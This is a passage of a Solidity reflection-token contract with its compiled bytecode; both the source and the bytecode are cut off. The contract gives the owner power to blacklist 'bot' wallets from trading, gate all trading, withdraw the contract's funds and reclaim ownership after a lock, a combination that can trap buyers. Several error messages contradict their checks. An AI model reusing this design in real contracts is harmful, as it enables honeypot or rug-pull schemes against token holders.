amounts.length, "must be the same length"); while(iterator < newholders.length){ airdropInternal(newholders[iterator], amounts[iterator] * 10**9); iterator += 1; } } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) public onlyOwner() { // require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function setMarketingFeePercent(uint256 fee) public onlyOwner { require(fee < 50, "Marketing fee cannot be more than 50% of liquidity"); marketingFeePercent = fee; } function setMarketingWallet(address walletAddress) public onlyOwner { marketingWallet = walletAddress; } function setTaxFeePercent(uint256 taxFee) external onlyOwner() { require(taxFee < 10, "Tax fee cannot be more than 10%"); _taxFee = taxFee; } function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { _liquidityFee = liquidityFee; } function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { require(maxTxAmount > 100, "Max Tx Amount cannot be less than 1000"); _maxTxAmount = maxTxAmount * 10**9; } function setSwapThresholdAmount(uint256 SwapThresholdAmount) external onlyOwner() { require(SwapThresholdAmount > 1000, "Swap Threshold Amount cannot be less than 69 Million"); numTokensSellToAddToLiquidity = SwapThresholdAmount * 10**9; } function claimTokens () public onlyOwner { // make sure we capture all BNB that may or may not be sent to this contract payable(marketingWallet).transfer(address(this).balance); } function claimOtherTokens(IERC20 tokenAddress, address walletaddress) external onlyOwner() { tokenAddress.transfer(walletaddress, tokenAddress.balanceOf(address(this))); } function clearStuckBalance (address payable walletaddress) external onlyOwner() { walletaddress.transfer(address(this).balance); } function addBotWallet(address botwallet) external onlyOwner() { botWallets[botwallet] = true; } function removeBotWallet(address botwallet) external onlyOwner() { botWallets[botwallet] = false; } function getBotWalletStatus(address botwallet) public view returns (bool) { return botWallets[botwallet]; } function allowtrading()external onlyOwner() { canTrade = true; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate()); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tLiquidity = calculateLiquidityFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function calculateTaxFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_taxFee).div( 10**2 ); } function calculateLiquidityFee(uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFee).div( 10**2 ); } function removeAllFee() private { if(_taxFee == 0 && _liquidityFee == 0) return; _previousTaxFee = _taxFee; _previousLiquidityFee = _liquidityFee; _taxFee = 0; _liquidityFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _liquidityFee = _previousLiquidityFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap + liquidity lock? // also, don't get caught in a circular liquidity event. // also, don't swap & liquify if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity; if ( overMinTokenBalance && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ) { contractTokenBalance = numTokensSellToAddToLiquidity; //add liquidity swapAndLiquify(contractTokenBalance); } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } //transfer amount, it will take tax, burn, liquidity fee _tokenTransfer(from,to,amount,takeFee); } function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap { // split the contract balance into halves // add the marketing wallet uint256 half = contractTokenBalance.div(2); uint256 otherHalf = contractTokenBalance.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); uint256 marketingshare = newBalance.mul(marketingFeePercent).div(100); payable(marketingWallet).transfer(marketingshare); newBalance -= marketingshare; // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!canTrade){ require(sender == owner()); // only owner allowed to trade or add liquidity } if(botWallets[sender] || botWallets[recipient]){ require(botscantrade, "bots arent allowed to trade"); } if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } }
0x60806040526004361061031e5760003560e01c80635d098b38116101ab578063a457c2d7116100f7578063d4a3883f11610095578063dd62ed3e1161006f578063dd62ed3e14610970578063ea2f0b37146109b6578063ec28438a146109d6578063f2fde38b146109f657600080fd5b8063d4a3883f1461091a578063da6fa55c1461093a578063dd4670641461095057600080fd5b8063a9059cbb116100d1578063a9059cbb146108af578063b6c52324146108cf578063c49b9a80146108e4578063d12a76881461090457600080fd5b8063a457c2d714610865578063a633423114610885578063a69df4b51461089a57600080fd5b8063764d72bf116101645780638ba4cc3c1161013e5780638ba4cc3c146107f25780638da5cb5b146108125780638ee88c531461083057806395d89b411461085057600080fd5b8063764d72bf146107835780637d1db4a5146107a357806388f82020146107b957600080fd5b80635d098b38146106bf57806360d48489146106df5780636bc87c3a1461071857806370a082311461072e578063715018a61461074e57806375f0a8741461076357600080fd5b80633685d4191161026a5780634549b0391161022357806349bd5a5e116101fd57806349bd5a5e146106135780634a74bb021461064757806352390c02146106665780635342acb41461068657600080fd5b80634549b039146105be578063457c194c146105de57806348c54b9d146105fe57600080fd5b80633685d4191461050857806339509351146105285780633ae7dc20146105485780633b124fe7146105685780633bd5d1731461057e578063437823ec1461059e57600080fd5b806318160ddd116102d75780632a360631116102b15780632a360631146104875780632d838119146104a75780632f05205c146104c7578063313ce567146104e657600080fd5b806318160ddd1461043257806323b872dd1461044757806329e04b4a1461046757600080fd5b80630305caff1461032a578063061c82d01461034c57806306fdde031461036c578063095ea7b31461039757806313114a9d146103c75780631694505e146103e657600080fd5b3661032557005b600080fd5b34801561033657600080fd5b5061034a610345366004612e03565b610a16565b005b34801561035857600080fd5b5061034a610367366004612e20565b610a6a565b34801561037857600080fd5b50610381610ae9565b60405161038e9190612e39565b60405180910390f35b3480156103a357600080fd5b506103b76103b2366004612e8e565b610b7b565b604051901515815260200161038e565b3480156103d357600080fd5b50600d545b60405190815260200161038e565b3480156103f257600080fd5b5061041a7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6040516001600160a01b03909116815260200161038e565b34801561043e57600080fd5b50600b546103d8565b34801561045357600080fd5b506103b7610462366004612eba565b610b92565b34801561047357600080fd5b5061034a610482366004612e20565b610bfb565b34801561049357600080fd5b5061034a6104a2366004612e03565b610ca7565b3480156104b357600080fd5b506103d86104c2366004612e20565b610cf5565b3480156104d357600080fd5b50600a546103b790610100900460ff1681565b3480156104f257600080fd5b5060115460405160ff909116815260200161038e565b34801561051457600080fd5b5061034a610523366004612e03565b610d79565b34801561053457600080fd5b506103b7610543366004612e8e565b610f30565b34801561055457600080fd5b5061034a610563366004612efb565b610f66565b34801561057457600080fd5b506103d860125481565b34801561058a57600080fd5b5061034a610599366004612e20565b611094565b3480156105aa57600080fd5b5061034a6105b9366004612e03565b61117e565b3480156105ca57600080fd5b506103d86105d9366004612f42565b6111cc565b3480156105ea57600080fd5b5061034a6105f9366004612e20565b611259565b34801561060a57600080fd5b5061034a6112f3565b34801561061f57600080fd5b5061041a7f000000000000000000000000f3ce316f6a68265b38778b044a42228ef285d55e81565b34801561065357600080fd5b506017546103b790610100900460ff1681565b34801561067257600080fd5b5061034a610681366004612e03565b611359565b34801561069257600080fd5b506103b76106a1366004612e03565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156106cb57600080fd5b5061034a6106da366004612e03565b6114ac565b3480156106eb57600080fd5b506103b76106fa366004612e03565b6001600160a01b031660009081526009602052604090205460ff1690565b34801561072457600080fd5b506103d860155481565b34801561073a57600080fd5b506103d8610749366004612e03565b6114f8565b34801561075a57600080fd5b5061034a611557565b34801561076f57600080fd5b50600e5461041a906001600160a01b031681565b34801561078f57600080fd5b5061034a61079e366004612e03565b6115b9565b3480156107af57600080fd5b506103d860185481565b3480156107c557600080fd5b506103b76107d4366004612e03565b6001600160a01b031660009081526007602052604090205460ff1690565b3480156107fe57600080fd5b5061034a61080d366004612e8e565b611618565b34801561081e57600080fd5b506000546001600160a01b031661041a565b34801561083c57600080fd5b5061034a61084b366004612e20565b611673565b34801561085c57600080fd5b506103816116a2565b34801561087157600080fd5b506103b7610880366004612e8e565b6116b1565b34801561089157600080fd5b5061034a611700565b3480156108a657600080fd5b5061034a61173b565b3480156108bb57600080fd5b506103b76108ca366004612e8e565b611841565b3480156108db57600080fd5b506002546103d8565b3480156108f057600080fd5b5061034a6108ff366004612f67565b61184e565b34801561091057600080fd5b506103d860195481565b34801561092657600080fd5b5061034a610935366004612fd0565b6118cc565b34801561094657600080fd5b506103d860145481565b34801561095c57600080fd5b5061034a61096b366004612e20565b6119bf565b34801561097c57600080fd5b506103d861098b366004612efb565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156109c257600080fd5b5061034a6109d1366004612e03565b611a44565b3480156109e257600080fd5b5061034a6109f1366004612e20565b611a8f565b348015610a0257600080fd5b5061034a610a11366004612e03565b611b2c565b6000546001600160a01b03163314610a495760405162461bcd60e51b8152600401610a409061303c565b60405180910390fd5b6001600160a01b03166000908152600960205260409020805460ff19169055565b6000546001600160a01b03163314610a945760405162461bcd60e51b8152600401610a409061303c565b600a8110610ae45760405162461bcd60e51b815260206004820152601f60248201527f546178206665652063616e6e6f74206265206d6f7265207468616e20313025006044820152606401610a40565b601255565b6060600f8054610af890613071565b80601f0160208091040260200160405190810160405280929190818152602001828054610b2490613071565b8015610b715780601f10610b4657610100808354040283529160200191610b71565b820191906000526020600020905b815481529060010190602001808311610b5457829003601f168201915b5050505050905090565b6000610b88338484611c04565b5060015b92915050565b6000610b9f848484611d28565b610bf18433610bec8560405180606001604052806028815260200161326c602891396001600160a01b038a1660009081526005602090815260408083203384529091529020549190611fd9565b611c04565b5060019392505050565b6000546001600160a01b03163314610c255760405162461bcd60e51b8152600401610a409061303c565b6103e88111610c935760405162461bcd60e51b815260206004820152603460248201527f53776170205468726573686f6c6420416d6f756e742063616e6e6f74206265206044820152733632b9b9903a3430b7101b1c9026b4b63634b7b760611b6064820152608401610a40565b610ca181633b9aca006130c2565b60195550565b6000546001600160a01b03163314610cd15760405162461bcd60e51b8152600401610a409061303c565b6001600160a01b03166000908152600960205260409020805460ff19166001179055565b6000600c54821115610d5c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610a40565b6000610d66612013565b9050610d728382612036565b9392505050565b6000546001600160a01b03163314610da35760405162461bcd60e51b8152600401610a409061303c565b6001600160a01b03811660009081526007602052604090205460ff16610e0b5760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610a40565b60005b600854811015610f2c57816001600160a01b031660088281548110610e3557610e356130e1565b6000918252602090912001546001600160a01b03161415610f1a5760088054610e60906001906130f7565b81548110610e7057610e706130e1565b600091825260209091200154600880546001600160a01b039092169183908110610e9c57610e9c6130e1565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600790925220805460ff191690556008805480610ef457610ef461310e565b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610f2481613124565b915050610e0e565b5050565b3360008181526005602090815260408083206001600160a01b03871684529091528120549091610b88918590610bec9086612078565b6000546001600160a01b03163314610f905760405162461bcd60e51b8152600401610a409061303c565b6040516370a0823160e01b81523060048201526001600160a01b0383169063a9059cbb90839083906370a082319060240160206040518083038186803b158015610fd957600080fd5b505afa158015610fed573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611011919061313f565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b15801561105757600080fd5b505af115801561106b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061108f9190613158565b505050565b3360008181526007602052604090205460ff16156111095760405162461bcd60e51b815260206004820152602c60248201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460448201526b3434b990333ab731ba34b7b760a11b6064820152608401610a40565b6000611114836120d7565b505050506001600160a01b03841660009081526003602052604090205491925061114091905082612126565b6001600160a01b038316600090815260036020526040902055600c546111669082612126565b600c55600d546111769084612078565b600d55505050565b6000546001600160a01b031633146111a85760405162461bcd60e51b8152600401610a409061303c565b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b6000600b548311156112205760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610a40565b8161123f576000611230846120d7565b50939550610b8c945050505050565b600061124a846120d7565b50929550610b8c945050505050565b6000546001600160a01b031633146112835760405162461bcd60e51b8152600401610a409061303c565b603281106112ee5760405162461bcd60e51b815260206004820152603260248201527f4d61726b6574696e67206665652063616e6e6f74206265206d6f7265207468616044820152716e20353025206f66206c697175696469747960701b6064820152608401610a40565b601455565b6000546001600160a01b0316331461131d5760405162461bcd60e51b8152600401610a409061303c565b600e546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015611356573d6000803e3d6000fd5b50565b6000546001600160a01b031633146113835760405162461bcd60e51b8152600401610a409061303c565b6001600160a01b03811660009081526007602052604090205460ff16156113ec5760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c7564656400000000006044820152606401610a40565b6001600160a01b03811660009081526003602052604090205415611446576001600160a01b03811660009081526003602052604090205461142c90610cf5565b6001600160a01b0382166000908152600460205260409020555b6001600160a01b03166000818152600760205260408120805460ff191660019081179091556008805491820181559091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319169091179055565b6000546001600160a01b031633146114d65760405162461bcd60e51b8152600401610a409061303c565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03811660009081526007602052604081205460ff161561153557506001600160a01b031660009081526004602052604090205490565b6001600160a01b038216600090815260036020526040902054610b8c90610cf5565b6000546001600160a01b031633146115815760405162461bcd60e51b8152600401610a409061303c565b600080546040516001600160a01b0390911690600080516020613294833981519152908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146115e35760405162461bcd60e51b8152600401610a409061303c565b6040516001600160a01b038216904780156108fc02916000818181858888f19350505050158015610f2c573d6000803e3d6000fd5b6000546001600160a01b031633146116425760405162461bcd60e51b8152600401610a409061303c565b61164a612168565b611662338361165d84633b9aca006130c2565b611d28565b610f2c601354601255601654601555565b6000546001600160a01b0316331461169d5760405162461bcd60e51b8152600401610a409061303c565b601555565b606060108054610af890613071565b6000610b883384610bec856040518060600160405280602581526020016132b4602591393360009081526005602090815260408083206001600160a01b038d1684529091529020549190611fd9565b6000546001600160a01b0316331461172a5760405162461bcd60e51b8152600401610a409061303c565b600a805461ff001916610100179055565b6001546001600160a01b031633146117a15760405162461bcd60e51b815260206004820152602360248201527f596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6044820152626f636b60e81b6064820152608401610a40565b60025442116117f25760405162461bcd60e51b815260206004820152601f60248201527f436f6e7472616374206973206c6f636b656420756e74696c20372064617973006044820152606401610a40565b600154600080546040516001600160a01b03938416939091169160008051602061329483398151915291a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6000610b88338484611d28565b6000546001600160a01b031633146118785760405162461bcd60e51b8152600401610a409061303c565b601780548215156101000261ff00199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159906118c190831515815260200190565b60405180910390a150565b6000546001600160a01b031633146118f65760405162461bcd60e51b8152600401610a409061303c565b60008382146119475760405162461bcd60e51b815260206004820152601760248201527f6d757374206265207468652073616d65206c656e6774680000000000000000006044820152606401610a40565b838110156119b8576119a6858583818110611964576119646130e1565b90506020020160208101906119799190612e03565b84848481811061198b5761198b6130e1565b90506020020135633b9aca006119a191906130c2565b612196565b6119b1600182613175565b9050611947565b5050505050565b6000546001600160a01b031633146119e95760405162461bcd60e51b8152600401610a409061303c565b60008054600180546001600160a01b03199081166001600160a01b03841617909155169055611a188142613175565b600255600080546040516001600160a01b0390911690600080516020613294833981519152908390a350565b6000546001600160a01b03163314611a6e5760405162461bcd60e51b8152600401610a409061303c565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b03163314611ab95760405162461bcd60e51b8152600401610a409061303c565b60648111611b185760405162461bcd60e51b815260206004820152602660248201527f4d617820547820416d6f756e742063616e6e6f74206265206c6573732074686160448201526506e20313030360d41b6064820152608401610a40565b611b2681633b9aca006130c2565b60185550565b6000546001600160a01b03163314611b565760405162461bcd60e51b8152600401610a409061303c565b6001600160a01b038116611bbb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610a40565b600080546040516001600160a01b038085169392169160008051602061329483398151915291a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316611c665760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610a40565b6001600160a01b038216611cc75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610a40565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316611d8c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610a40565b6001600160a01b038216611dee5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610a40565b60008111611e505760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610a40565b6000546001600160a01b03848116911614801590611e7c57506000546001600160a01b03838116911614155b15611ee457601854811115611ee45760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b6064820152608401610a40565b6000611eef306114f8565b90506018548110611eff57506018545b60195481108015908190611f16575060175460ff16155b8015611f5457507f000000000000000000000000f3ce316f6a68265b38778b044a42228ef285d55e6001600160a01b0316856001600160a01b031614155b8015611f675750601754610100900460ff165b15611f7a576019549150611f7a826121a9565b6001600160a01b03851660009081526006602052604090205460019060ff1680611fbc57506001600160a01b03851660009081526006602052604090205460ff165b15611fc5575060005b611fd1868686846122b2565b505050505050565b60008184841115611ffd5760405162461bcd60e51b8152600401610a409190612e39565b50600061200a84866130f7565b95945050505050565b60008060006120206124ee565b909250905061202f8282612036565b9250505090565b6000610d7283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612670565b6000806120858385613175565b905083811015610d725760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610a40565b60008060008060008060008060006120ee8a61269e565b925092509250600080600061210c8d8686612107612013565b6126e0565b919f909e50909c50959a5093985091965092945050505050565b6000610d7283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611fd9565b6012541580156121785750601554155b1561217f57565b601280546013556015805460165560009182905555565b61219e612168565b611662338383611d28565b6017805460ff1916600117905560006121c3826002612036565b905060006121d18383612126565b9050476121dd83612730565b60006121e94783612126565b9050600061220d6064612207601454856128f790919063ffffffff16565b90612036565b600e546040519192506001600160a01b03169082156108fc029083906000818181858888f19350505050158015612248573d6000803e3d6000fd5b5061225381836130f7565b915061225f8483612976565b60408051868152602081018490529081018590527f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619060600160405180910390a150506017805460ff1916905550505050565b600a54610100900460ff166122db576000546001600160a01b038581169116146122db57600080fd5b6001600160a01b03841660009081526009602052604090205460ff168061231a57506001600160a01b03831660009081526009602052604090205460ff165b1561237157600a5460ff166123715760405162461bcd60e51b815260206004820152601b60248201527f626f7473206172656e7420616c6c6f77656420746f20747261646500000000006044820152606401610a40565b8061237e5761237e612168565b6001600160a01b03841660009081526007602052604090205460ff1680156123bf57506001600160a01b03831660009081526007602052604090205460ff16155b156123d4576123cf848484612a84565b6124d2565b6001600160a01b03841660009081526007602052604090205460ff1615801561241557506001600160a01b03831660009081526007602052604090205460ff165b15612425576123cf848484612baa565b6001600160a01b03841660009081526007602052604090205460ff1615801561246757506001600160a01b03831660009081526007602052604090205460ff16155b15612477576123cf848484612c53565b6001600160a01b03841660009081526007602052604090205460ff1680156124b757506001600160a01b03831660009081526007602052604090205460ff165b156124c7576123cf848484612c97565b6124d2848484612c53565b806124e8576124e8601354601255601654601555565b50505050565b600c54600b546000918291825b6008548110156126405782600360006008848154811061251d5761251d6130e1565b60009182526020808320909101546001600160a01b0316835282019290925260400190205411806125885750816004600060088481548110612561576125616130e1565b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b1561259e57600c54600b54945094505050509091565b6125e460036000600884815481106125b8576125b86130e1565b60009182526020808320909101546001600160a01b031683528201929092526040019020548490612126565b925061262c6004600060088481548110612600576126006130e1565b60009182526020808320909101546001600160a01b031683528201929092526040019020548390612126565b91508061263881613124565b9150506124fb565b50600b54600c5461265091612036565b82101561266757600c54600b549350935050509091565b90939092509050565b600081836126915760405162461bcd60e51b8152600401610a409190612e39565b50600061200a848661318d565b6000806000806126ad85612d0a565b905060006126ba86612d26565b905060006126d2826126cc8986612126565b90612126565b979296509094509092505050565b60008080806126ef88866128f7565b905060006126fd88876128f7565b9050600061270b88886128f7565b9050600061271d826126cc8686612126565b939b939a50919850919650505050505050565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110612765576127656130e1565b60200260200101906001600160a01b031690816001600160a01b0316815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156127de57600080fd5b505afa1580156127f2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061281691906131af565b81600181518110612829576128296130e1565b60200260200101906001600160a01b031690816001600160a01b031681525050612874307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d84611c04565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d169063791ac947906128c99085906000908690309042906004016131cc565b600060405180830381600087803b1580156128e357600080fd5b505af1158015611fd1